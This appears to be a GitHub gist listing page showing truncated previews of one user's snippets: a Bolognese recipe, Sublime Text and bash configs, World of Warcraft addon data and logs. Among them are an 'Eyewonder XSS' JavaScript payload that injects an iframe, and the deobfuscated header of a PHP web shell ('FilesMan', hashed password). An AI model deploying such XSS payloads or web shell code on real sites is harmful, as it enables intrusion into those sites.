Skip to content

Instantly share code, notes, and snippets.

Ragu (aka Bolognese sauce)
This is mainly taken directly from Marcella Hazan.
450g good quality steak mince
1 stick celery, chopped finely
1 medium onion, chopped finely
1 carrot, chopped finely
8 fl oz / 1 cup dry white wine
8 fl oz / 1 cup milk
@kemayo
kemayo / eyewonder.js
Created October 20, 2011 21:20
Eyewonder XSS
document.write('<style type="text/css">body{padding); margin:0}</style>');
document.write('<iframe id="iwonder_hack" src="http://' + location.host + '/" width="100%" height="100%" style="border:0;padding:0;margin:0"></iframe>');
setTimeout(function(){
var frmdoc = document.getElementsByTagName('iframe')[0].contentWindow.document
,rotation = 0
,links = frmdoc.getElementsByTagName('a')
,images = frmdoc.getElementsByTagName('img')
,props = ['transform', 'WebkitTransform', 'msTransform', 'MozTransform', 'OTransform']
,transform = function(elem, trans) {
for (var i = 0; i < props.length; i++) {
<?php
$auth_pass = "918ace46db6fe08a3581ced046d0d764";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
// This was formerly:
// preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66......");
// All the unicode-escaped stuff worked out to `eval(gzinflate(base64_decode(`
// Creates a throttled function, which will run *at most* every `delay`.
// It'll run immediately the first time you call it, because that's a very
// long time since it was last called, as it were.
// e.g. set up a scroll handler which will be called once every 500ms at most
// $(window).bind('scroll', throttle(my_expensive_scroll_handler, 500));
var throttle = function(callback, delay) {
var timeout
,last_run = 0;
return function () {
if (timeout) {
[17:31] Your skill in Mail has increased to 1.
[17:31] Your skill in Herbalism has increased to 525.
[17:31] Your skill in Archaeology has increased to 525.
[17:31] You have gained the Riding skill.
[17:31] Your skill in Two-Handed Maces has increased to 400.
[17:31] You have gained the Leather skill.
[17:31] Your skill in Language: Common has increased to 300.
[17:31] You have gained the Inscription skill.
[17:31] You have gained the Runeforging skill.
[17:31] Your skill in Fishing has increased to 496.
@kemayo
kemayo / phptag.sublime-snippet
Created March 9, 2013 05:16
Make Sublime Text turn <? into <?php | ?> (where the | is your cursor), when you hit tab.
<snippet>
<content><![CDATA[
<?php ${1} ?>
]]></content>
<!-- Optional: Set a tabTrigger to define how to trigger the snippet -->
<tabTrigger>&lt;?</tabTrigger>
<!-- Optional: Set a scope to limit where the snippet will trigger -->
<scope>source.php</scope>
</snippet>
-- DO NOT EDIT THIS FILE; run dataminer.lua to regenerate.
local core = LibStub("AceAddon-3.0"):GetAddon("SilverDragon")
local module = core:GetModule("Data")
function module:GetDefaults()
return {
[61] = {name="Thuros Lightfingers",["creature_type"]="Humanoid",level=9,locations={[30]={47207920,50008460},},},
[62] = {name="Gug Fatcandle",["creature_type"]="Humanoid",level=4,locations={[864]={31001840},},},
[79] = {name="Narg the Taskmaster",["creature_type"]="Humanoid",level=6,locations={[30]={36808340},},},
[99] = {name="Morgaine the Sly",["creature_type"]="Humanoid",level=9,locations={[30]={30606480},},},
[100] = {name="Gruff Swiftbite",["creature_type"]="Humanoid",level=9,locations={[30]={25209080},},},
@kemayo
kemayo / Default (OSX).sublime-keymap
Last active September 21, 2016 13:40
Tiny sublime plugin to wrap a selection in something.
[
{ "keys": ["alt+p"], "command": "wrap_text", "args": {"start":"<? ", "end":" ?>" }},
]
local is_cloth = function(itemid, bag, slot) return select(7, GetItemInfo(itemid)) == "Cloth" end
SlashCmdList["MOVECLOTH"] = = BankStack.CommandDecorator(function(from, to)
BankStack.Stack(from, to, is_cloth)
BankStack.Fill(from, to, false, is_cloth)
end, "bags bank", 2)
SLASH_MOVECLOTH1 = "/movecloth"
source ~/.profile
# employing this prompt: http://vvv.tobiassjosten.net/bash/dynamic-prompt-with-git-and-ansi-colors
# Configure colors, if available.
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
c_reset='\[\e[0m\]'
c_user='\[\033[1;33m\]'
c_path='\[\e[0;33m\]'
c_git_clean='\[\e[0;36m\]'